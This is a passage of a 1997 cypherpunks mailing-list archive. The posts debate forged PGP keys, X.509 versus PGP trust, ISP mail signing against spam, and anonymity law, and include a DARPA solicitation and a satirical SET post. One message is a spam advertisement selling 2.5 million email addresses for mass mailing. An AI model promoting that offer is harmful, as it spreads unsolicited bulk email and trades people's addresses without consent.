In-Reply-To: <199707030715.BAA26652@wombat.sk.sympatico.ca>
Message-ID: <33BBCB54.2781@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Robert A. Costner wrote:
> 
> At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
> >The email forgeries using bogus PGP keys to give the appearance
> >that the messages are from PGP, Inc. and our employees are the
> >result of a sick, twisted mind.
> 
> While a keyserver with no authentication has a very low barrier to entry
> for false authentication, the barrier is not that much higher for even a
> Verisign class three verification.  I've continually said that the biggest
> problem with secure authentication is that secure authentication is not
> possible.

I don't think thats a reasonable assertion at all. PGP is positing that
they have an online identification technique. Verisign are asserting
they
have performed a particular identification process and suggest that it
is 
sufficient for a particular purpose:

http://www.verisign.com/pr/pr_idfct.htm
Class 3 Digital IDs 

     Require personal presence or registered credentials

     Used for e-banking, large-sum transactions and contract execution

     Cost: $24/year for individuals, $290/year for entities/web servers
($75 per
     year renewal) 


If you are a bank or company that needs to depend on an identity inthis
circumastance the critical point is that you have a standardized level
of security. 

In electronic commerce it is rarely the case that one needs to reduce 
risk to zero. The question is whether you can quantify the risk you are
exposed to. Whether you can insure it.


> I hate to see people doing such things with keyservers and keys, but we all
> knew the problem existed.  I wonder where the solution is.

The solution is to put trust attributes in the certificates. If you
do an email callback you state that that is the identification 
process you used in the cert.

Two years back it would make sense to upgrade PGP certs to work in
this way. At this point however X.509v3 has become the standard,
the most commonly available form of email encryption is S/MIME
which is built into the default operating system from next year
and comes with Communicator. 

X509v3 may not be perfect but its there, it works and you can carry 
the same information and construct the same trust relationships that
PGP supports. You can also construct other relationships. Looking at
the practice of using X509v3 with Outlook Express I found that the 
actual mechanics of use were remarkably similar to PGP except that
it was easy to add in an entire trust domain such as my employer.

At this point I'm somewhat skeptical that a single vendor proprietary
solution should receive unquestioned support from cypherpunks on
the basis of history alone. The question is how to put cryptography
on every desk top on the planet. Bill Gates is a better aly in that
fight than Phil Z. 


I think its rather silly for people to start complaining on this 
list about the bad, bad, hackers. If we could trust people to be
good we would not need certificates or computer security at all.
Making unspecified and unsupported allegations against competitors 
seems to me to be a very bad idea indeed.



	Phill

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7s2017MfpC8gEO7EQI7pACg0285HGGqLevqRTFZnzpB59PS8yoAn1Wp
0b7D8YcrmSn9VbjmAq55nKWx
=fRuw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 4 Jul 1997 00:42:57 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <97Jul3.120022edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, BigNuts wrote:

> Michael Stutz wrote:
> > On Tue, 1 Jul 1997, Tim May wrote:
> > 
> > > Technology liberates the bits.
> > 
> > Copyright law is not only useless on the net but inefficient; one need only
> > compare the performance of free, copylefted software versus proprietary,
...
>   Tim gave excellent information on how one can go about using 
> technology to enjoy the fruits of other people's labour without 
> contributing toward the survival of those producing the things
> he enjoys.

Or the same technology can restrict usage - strongly encrypted software
that checks digitally signatured dates and stops upon expiration.  If you
don't want to honor the private contracts (licensing agreements where
applicable), then something else will replace them.  Maybe it will be free
software (which does work better than commercial software, but doesn't
always have the desired features).  Maybe it will be the technonightmare.

A great deal of evil can be committed, and the only difference is that now
"government" as we know it will be unable to control it.

Over 200 years ago, both the United States and France rid themselves of
their monarchy.  One ended in liberty, the other in anarchy, eventually
reinstalling a coercive government.  When the communists lost power in
eastern europe, many died from not obeying the sensible traffic laws.

I think it depends on how ethical the individual people will be when
confronted by the anarchy of the internet.  If I govern myself, I don't
need big brother to do it.  Might doesn't make right, it can only destroy
and not create, and at best merely preserve the peace.

Nor is it ethics in a pure, merely altruistic sense.  I want Phil
Zimmerman to be around and writing software.  For that to happen, it is in
my interest to contribute to him, either directly (PGP Inc. could be the
PGP foundation), or indirectly.  I want Linux to do certain things, so I
write them, and because of the free software ethic, I add my work to the
public pool - it would be more expensive to try selling it.  But I make
money by consulting and using the software that is available.

Although I believe there is nothing new under the sun, the breakdown of a
paternal/maternal enforcement entity called "government" will force a
change in society.  There will be a "new" ethical system, which is cause
for both hope and fear. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 20:12:30 +0800
To: cypherpunks@Algebra.COM
Subject: urban environment visualization systems
Message-ID: <9707031205.AA68804@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



http://www.nttc.edu/solicitations/sbir/dod972/darpa972.txt

DARPA SB972-068           TITLE:   Multi-Platform  Real-Time  3-D Visualization 
                      System Urban Environments  and  3-D Terrain Imagery
KEY TECHNOLOGY AREA:  Computing and Software
OBJECTIVE:        Create a cross-platform (PC, Mac,  Sun,  SGI,  etc.) 
real-time 3-D visualization system capable of visualizing  ultra-high 
resolution urban environments immersed in global unlimited 3-D terrain imagery 
simultaneously.
DESCRIPTION: Most high performance visualization systems are currently limited 
to high-end graphics deskside work stations costing in excess of $100K. The 
low-cost of high performance dedicated graphics hardware for personal computers 
and low-end work stations has made it possible to create a cross-platform 
system that can visualize virtually infinite amounts of high-resolution data in 
real-time. Along with the enabling hardware, a highly integrated software 
system that can effectively utilize the hardware with advanced graphics and 
data handling technologies needs to be developed. Today, this capability only 
exists on costly, difficult to use, and inflexible high-end systems. An 
advanced system is required to: 
1) Visualize unlimited amounts of terrain and structure data in urban 
environments (e.g., large cities and military compounds containing complex 
structures) in real-time; 
2) Implement state-of-the-art rendering and data processing techniques to 
provide the best possible performance for all types of data; and, 
3) Run on a wide variety of systems ranging from high-end graphics work 
stations to standard PCs with dedicated graphics hardware.
         PHASE I: Define the visualization system to be developed, 
requirements, software architecture, high-level design, technical approaches, 
tradeoffs, and enhancements over current approaches and existing tools. 
Demonstrate proof-of-concepts on at least two different graphics platforms.
       PHASE II: Produce a prototype implementation of the system. Demonstrate 
capability on at least three different graphics platforms (high and low-end 
systems).
       PHASE III DUAL USE APPLICATIONS: The emergence of low-cost 3-D hardware 
for the PC platform has made practical the application of 3-D terrain and 
building visualization technology to address a variety of problems such as 
building physical security analysis (counterterrorism), urban planning, 
forestry management, geographic information systems, and architectural 
visualization. This program could greatly enhance the capability of businesses 
(located abroad or in the United States) and government agencies to conduct 
analysis of threats from terrorism or crime and to assist them in taking 
prudent measures to reduce their risks of terrorist or criminal attack. 
Portable visualization of urban settings enables any user to view their 
organization/businesses in a manner useful to identifying risks from bombs, 
sniping, or other security threats, and taking appropriate protective measures.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 20:52:45 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh Sentence
Message-ID: <199707031235.OAA01707@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, William H. Geiger III wrote:

> "There needs to be lifeguards at the shallow end of the gene pool"

Who said that originally? Can I borrow it?









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 3 Jul 1997 16:58:37 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: PGP security problems?
In-Reply-To: <3.0.3.32.19970703041536.00cc566c@mail.atl.bellsouth.net>
Message-ID: <Pine.LNX.3.93.970703143356.579C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Robert A. Costner wrote:

[...]

> I hate to see people doing such things with keyservers and keys, but we all
> knew the problem existed.  I wonder where the solution is.

Well it all depeands on what you wish to do.  A simple mail back
authentacation schem would raise the barror to router and host spoofing.
Haveing ISP's sign there users public keys would also help.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 4 Jul 1997 03:15:47 +0800
To: cypherpunks@toad.com
Subject: ISP signatures on outgoing mail
Message-ID: <Pine.GSO.3.95.970703150410.29801G-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 3 Jul 1997, Anonymous wrote:

> They need a standard for which headers to sign, then a dig sig can be
> included in the headers to check that a message came from where it
> claims.

this doesn't seem to help solve the problem very much.  The way SMTP works
right now, spammers can frequently just connect to somebodies SMTP server,
drop off a load of e-mail, and let their server handle it.  (identical to
how the ISPs customers drop off mail)

All we get out of this is a way to blame those who sign their mail and get
slammed by a spammer.

Funny, this wouldn't seem to hurt remailers all that much.  You'd
basically guarantee that, yes, the mail really did come from the anonymous
remailer.  :-)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 4 Jul 1997 04:37:03 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707032025.PAA30172@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33BBCB54.2781@ai.mit.edu>, on 07/03/97 
   at 11:55 AM, Hallam-Baker <hallam@ai.mit.edu> said:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1

>Robert A. Costner wrote:
>> 
>> At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
>> >The email forgeries using bogus PGP keys to give the appearance
>> >that the messages are from PGP, Inc. and our employees are the
>> >result of a sick, twisted mind.
>> 
>> While a keyserver with no authentication has a very low barrier to entry
>> for false authentication, the barrier is not that much higher for even a
>> Verisign class three verification.  I've continually said that the biggest
>> problem with secure authentication is that secure authentication is not
>> possible.

>I don't think thats a reasonable assertion at all. PGP is positing that
>they have an online identification technique. Verisign are asserting they
>have performed a particular identification process and suggest that it is

>sufficient for a particular purpose:

>http://www.verisign.com/pr/pr_idfct.htm
>Class 3 Digital IDs 

>     Require personal presence or registered credentials

>     Used for e-banking, large-sum transactions and contract execution

>     Cost: $24/year for individuals, $290/year for entities/web servers
>($75 per
>     year renewal) 


>If you are a bank or company that needs to depend on an identity inthis
>circumastance the critical point is that you have a standardized level of
>security. 

>In electronic commerce it is rarely the case that one needs to reduce 
>risk to zero. The question is whether you can quantify the risk you are
>exposed to. Whether you can insure it.


>> I hate to see people doing such things with keyservers and keys, but we all
>> knew the problem existed.  I wonder where the solution is.

>The solution is to put trust attributes in the certificates. If you do an
>email callback you state that that is the identification  process you
>used in the cert.

>Two years back it would make sense to upgrade PGP certs to work in this
>way. At this point however X.509v3 has become the standard, the most
>commonly available form of email encryption is S/MIME which is built into
>the default operating system from next year and comes with Communicator. 

>X509v3 may not be perfect but its there, it works and you can carry  the
>same information and construct the same trust relationships that PGP
>supports. You can also construct other relationships. Looking at the
>practice of using X509v3 with Outlook Express I found that the  actual
>mechanics of use were remarkably similar to PGP except that it was easy
>to add in an entire trust domain such as my employer.

>At this point I'm somewhat skeptical that a single vendor proprietary
>solution should receive unquestioned support from cypherpunks on the
>basis of history alone. The question is how to put cryptography on every
>desk top on the planet. Bill Gates is a better aly in that fight than
>Phil Z. 


>I think its rather silly for people to start complaining on this  list
>about the bad, bad, hackers. If we could trust people to be good we would
>not need certificates or computer security at all. Making unspecified and
>unsupported allegations against competitors  seems to me to be a very bad
>idea indeed.


Phil what can I say except this is just BULL!

Last time I looked the S/MIME & X509 v3 specs were not in a finished
state.

What I have seen of the specs I do not like. The sepcs are overly complex
and fail to offer any added security over what can be obtained using PGP.

Then we have GAK directly referenced and supported in the specs:

>5.1 Binding Names and Keys

>An S/MIME agent or some related administrative utility or function MUST
>be capable of generating a certification request given a user's public
>key and associated name information. In most cases, the user's public
>key/private key pair will be generated simultaneously. However, there
>are cases where the keying information may be generated by an external
>process (such as when a key pair is generated on a cryptographic token
>or by a "key recovery" service).
 
Now lets add to this Netscapes support of weak crypto & their
implementation of "policy tokens".

Are these really the people you wish to trust with the future of crypto??
Are you willing to condem the world to Win95 & Communicator (2 of the
bigest peices of crap I have ever seen passed of as comercial software).

Phil Zimmerman has done more for putting STRONG crypto on every desktop
than M$,N$,R$A or the rest ever have or ever will.

Make no mistakes about it, our goal should be to put STRONG crypto on
every desktop not just any weak peice of crap available. Weak crypto is
worse than no crypto at all.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7wJcY9Co1n+aLhhAQHL5AP+LHUhm9qzChoPIfZt3mClFCpk41Byx95D
0o/jxHBgyr1b4Xu96BiZXkNYn5Z/B7pXCyp8j5JU1nHs3een/n+Bg2V3gxZHK5hf
dhAGyetvDHq1h9sxXtWi/3kVctJQN0dGH7TT7RRA46pG0CfIdn2LX/DbnI04COcf
f3Xp+dve8wY=
=PS/R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hedges@infonex.com
Date: Fri, 4 Jul 1997 06:46:04 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <5pbnoe$f29$1@re.hotwired.com>
Message-ID: <199707032233.PAA05206@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



Jeff wrote at some unknown date and time:
> The right to anonymity in the US will be legislated away within 18 months, 
> partially because of spam.  I do hope there's a _good_ test case waiting,
> and someone willing to fight it to the end, but I have my doubts.  Ultimately
> the remailer network will be forced to move offshore, the way Crypto 
> development currently has.

I'm not sure this is true, Jeff. As we saw with the CDA, what the
legislature and executives may do under the gun of popular opinion
and funding pressure is not always constitutional. There are
precedents for anonymity, from the time when the Federalist Papers
were published anonymously to now. If you like examine Talley v.
California and McIntyre v. Ohio Campaign Commission, both cases
in which the Supreme Court of the United States upheld the right
to anonymity. As you may know an injunction was issued against the
Georgia (U.S.) State against their anti-anonymity law.

I neglected to post the URL's in the newsgroups: www.epic.org/free_speech/.

>From the legal precedents it does not appear the right to anonymity
is in any immediate jeopardy, though fire-consumed politicians may
push bill after bill into the courts to push personal culpability
for transmission of information. Eventually, with enough case precedent
blocking them every time, legislature will learn that it is futile
to pass an anti-anonymity law, regardless of whether the individual
legislators think it is right or wrong.

The real danger is what you encountered---self styled vigilante
enforcers of narrow-minded selfish pride---people who just can't
stand to be told that they're losers, whether they are or not.
Public defamation using anonymity is an interesting issue, and
one I'm not prepared to take a stand on. Does anyone have commentary?

Mark Hedges
"First you learn you can only know nothing,
 then you learn that everything is just a good idea."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 21:50:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Degaussing
Message-ID: <199707031337.PAA08887@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> That reminds me...  I have some old drives I need to take down to the
> shooting range.  (I want to make them an example to the other drives...)
> 
> Sounds like a Cypherpunk project to me. ]:>


Unerased data is a cancer!

Only 50 Megatons of nuclear disinfectant can cure it!

Lock and load!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 3 Jul 1997 18:25:41 +0800
Subject: Re: PGP security problems?
In-Reply-To: <199707030557.XAA20987@wombat.sk.sympatico.ca>
Message-ID: <Pine.LNX.3.93.970703155644.837A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Philip R. Zimmerman wrote:

[...]

>  It is inevitable that some gullible fools will be taken in by
> the forgeries, 

[Claps]  Very very cleaver,  you almost got me there.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay0070@ix.netcom.com
Date: Fri, 4 Jul 1997 05:33:59 +0800
To: cypherpunks@Algebra.COM
Subject: MASS E-MAIL
Message-ID: <RAF1.1_7/3/97 5:19:07 PM_cypherpunks@algebra.com>
MIME-Version: 1.0
Content-Type: text/plain




Do you have information you want to distribute to thousands of people, or a product you want to offer to a lot of people quickly?

Look no more.

I will send you electronically 2,500,000 E-mail addresses.  That is 2.5 MILLION!!!!!!!!!!!

You can cut and paste the addresses to your mail server and save them for later.  
Just write up what you want to say, click send, and within minutes you will reach 1000000's of people.

For  $20   I will give you 2.5 million addresses for you to use to market your product or service cost efficiently, and directions on how to do it.

send your E-mail address and $$ to:              Mr. Hammond
                                                                                     P.O. Box 8022
                                                                                     Burlington, VT 05401

I update the addresses monthly...SATISFACTION GUARANTEED





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 4 Jul 1997 11:23:21 +0800
To: Tom Allard <m1tca00@FRB.GOV>
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707031416.KAA11262@bksmp2.FRB.GOV>
Message-ID: <Pine.LNX.3.96.970703164312.1843B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 3 Jul 1997, Tom Allard wrote:

> > Please see http://www.netscum.net/burnorg0.html for more info.
> 
> whois netscum.net
> [...]
> 
>    NS7.CYBERPROMO.COM           205.199.2.250
>    NS9.CYBERPROMO.COM           207.124.161.50
>    NS8.CYBERPROMO.COM           207.124.161.65
>    NS5.CYBERPROMO.COM           205.199.212.50
> 
> 
> The InterNIC Registration Services Host contains ONLY Internet Information
> (Networks, ASN's, Domains, and POC's).
> Please use the whois server at nic.ddn.mil for MILNET Information.

It makes sense that the Net.Scum pages would be hosted by Cyperpromotions
since every other ISP that hosted the web pages were threatened with
libel suits.  As I understand it, Cyberpromo's web hosting services
are separate from their junk email services.  Cyberpromotions gets so
many legal threats that a few more don't make a large difference.  This
was also the reason why an anonymous poster suggested Cyberpromo as a
possible remailer-friendly ISP.



Mark
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TT1B4qKeAfVEmV4MUm8ZeePztoFfLiUd8+8tLarYb9/n1B/p70D9XQ==
=4eWZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 4 Jul 1997 00:41:34 +0800
To: cypherpunks@cyberpass.net
Subject: ISP signatures on outgoing mail
Message-ID: <199707031614.SAA27700@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anyone heard of a proposal for ISPs to automatically sign outgoing
mail headers?  Problem has been that spammers send email by one
path but forge a reply-to or from address at another location.  Most
recent case is hotmail, which got blocked by netcom over a spam attack.
Actually mail didn't come from hotmail, was forged to look like it came
from there.  Same thing has happened to remailers.

They need a standard for which headers to sign, then a dig sig can be
included in the headers to check that a message came from where it
claims.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 4 Jul 1997 08:21:54 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.LNX.3.93.970704052155.215A-100000@shirley>
Message-ID: <Pine.GSO.3.95.970703200946.1200A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> There is now meany patchers to avoid mail relaying like this.  Good ISP's
> don't let mail to go from an outside site to anoughter outside site.
> 
> >  (identical to how the ISPs customers drop off mail)
> 
> No its diffrent ISP's customers move from the inside to the outside.

Well, with current technology, it's not too difficult to forge DNS
entries, and I imagine you could forge enough entires to confuse a reverse
DNS lookup.  But this is really a different issue and I think the most
recent version of Bind fixes some of these problems..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 4 Jul 1997 11:42:05 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.GSO.3.95.970703200946.1200A-100000@ece>
Message-ID: <Pine.LNX.3.96.970703223208.3327B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 3 Jul 1997, Ryan Anderson wrote:

> On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > There is now meany patchers to avoid mail relaying like this.  Good ISP's
> > don't let mail to go from an outside site to anoughter outside site.
> > 
> > >  (identical to how the ISPs customers drop off mail)
> > 
> > No its diffrent ISP's customers move from the inside to the outside.
> 
> Well, with current technology, it's not too difficult to forge DNS
> entries, and I imagine you could forge enough entires to confuse a reverse
> DNS lookup.  But this is really a different issue and I think the most
> recent version of Bind fixes some of these problems..

It would be possible to configure sendmail to only deliver a message that
has an authorized host in the "MAIL FROM" and "RCPT TO" commands.  This
could possibly be defeated by forging DNS entries in the ISP's nameserver,
but that's more than most spammers would probably want to risk.

> 
> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 


Mark
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=2d7Q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Fri, 4 Jul 1997 19:48:11 +0800
To: <cypherpunks@Algebra.COM>
Subject: http://hipcrime.home.ml.org
Message-ID: <199707041140.EAA15235@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



This is NOT a commercial message.  Thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 4 Jul 1997 07:42:12 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.GSO.3.95.970703150410.29801G-100000@ece>
Message-ID: <Pine.LNX.3.93.970704052155.215A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Ryan Anderson wrote:

[...]

> this doesn't seem to help solve the problem very much.  The way SMTP works
> right now, spammers can frequently just connect to somebodies SMTP server,
> drop off a load of e-mail, and let their server handle it.

There is now meany patchers to avoid mail relaying like this.  Good ISP's
don't let mail to go from an outside site to anoughter outside site.

>  (identical to how the ISPs customers drop off mail)

No its diffrent ISP's customers move from the inside to the outside.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 4 Jul 1997 21:44:20 +0800
To: cypherpunks@toad.com
Subject: SET and dual use
Message-ID: <v03020902afe295759594@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: ptharrison <ptharrison@delphi.com>
MIME-version: 1.0
Precedence: Bulk
Date:  Thu, 03 Jul 1997 23:01:00 -0400
From: ptharrison <ptharrison@delphi.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  SET and dual use

-----BEGIN PGP SIGNED MESSAGE-----

The Worldwide Conspiracy of International Bankers is now engaged
in an unprecedented attack on the Nation State.  Last month, a
so-called consortium of very large banks and their lackies the
branded credit card companies issued a detailed plan to put
strong cryptography into the hands of every statistically
creditworthy human being on the planet.  In issuing the Secure
Electronic Transaction (SET) protocol, this cabal of
transnational, stateless seekers of interest income and
acquisition discounts have detailed a plan by which every
merchant which accepts credit cards, every institution which
issues them, and incredibly every individual who posesses them
would be able to register and share public keys.  Going far
beyond the puny efforts of the "cypherpunks" who established
primitive pretty good privacy key servers and built a web of
trust over the past several years, the International Banking
Conspiracy is attempting to set up a gargantuan web of
certificate authorities to support individuals and corporations
in the publication of their cryptographic identities.

The unpatriotic stools of this conspiracy within our own US
government are expected to legitimize this unholy plan by
permitting the wholesale export of SET-related products under
the guise that SET is purely a financial transaction processing
system.  However, over time it will become clear that this was
the beginning of the end.

The SET co-conspirators have made it abundantly clear in their
specification that the financial security and viability of their
entire initiative relies on the absolute privacy of each
individual's personal keys.  This explicit rejection of the
sharing of keys effectively rules out key escrow schemes for
SET.

After an unprecedented global training excercise, in which the
Banking Conspiracy will inculcate the imperative that private
keys must NEVER be shared with anyone (or else your credit cards
will be cancelled or your merchant status revoked), and after
worldwide rollout of products intended to allow secret
communications over any network connection including the
backbone internet, the public telephone system, radio channels,
through corporate and national firewalls, and even by "carrier
pigeon" the "consortium" will exend the SET protocol to allow
the sending of so-called EDI messages (communications which can
be effectively on any topic between any two parties)
over the established global secret network.  An age of secure
private communications will be ushered in.

And then...separate SET-protocol webs will be established where
the "CAs", "merchants" and "cardholders" are simply pseudonyms
for...revolutionary forces intent on trafficing in guns,
laundering money and replacing world governments with child
pornographers, drugs lords and terrorists.  Seemingly innocent
browser software installed everywhere will become the tool of
evildoers to invisibly conduct their own global conspiracies.
Only then, too late, will the Banking Conspiracy realize that
they no longer control the planet and that in true Hegelian
fashion their great idea contained the seeds of its own
destruction.

Don't say I didn't warn you!
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM7xnY0Ce79c5xtT7AQHyGgP+OyOzslpIbd98Nx5NyiGmoMpE3DjdZhtT
T+MOAx6CLVEd8Bm5xJKEN2v/fZ1QrZeNfOxl1pA5rxXV5bzAFs16nTKIvxFU6iI3
vP2/x7BIW0P75SuCqftCnOotISaN02gvO3Xn+1L3LEJepQ6Aj9C2DoSKE1uzjEy8
WKdfqrG3r5g=
=zdfI
-----END PGP SIGNATURE-----

----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 4 Jul 1997 21:44:01 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707041320.IAA15627@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   News 
   
   Destination Mars: Special Section 
   
   3700 hotels worldwide- click here for immediate on-line reservations 
   
   Search and Feedback NEWS
   
Passenger dragged half-naked from plane lavatory sues

    lavatory lawsuit graphic July 3, 1997
   Web posted at: 5:07 p.m. EDT (2107 GMT)
   
   NEW YORK (AP) -- Caught with his pants down on a trans-Atlanticflight,
   a New York businessman insists he is innocent.
   
    Raviv Laor says he was dragged from the bathroom of an AirFrance
   plane with his trousers around his ankles and toilet paperin his hand
   because a flight attendant wrongly thought he wassneaking a smoke.
   
    Laor, who says a malfunctioning smoke alarm went off, is suingthe
   airline for $12 million for his humiliation. He says he went tocourt
   after failing to get an apology or even a reply from theairline.
   
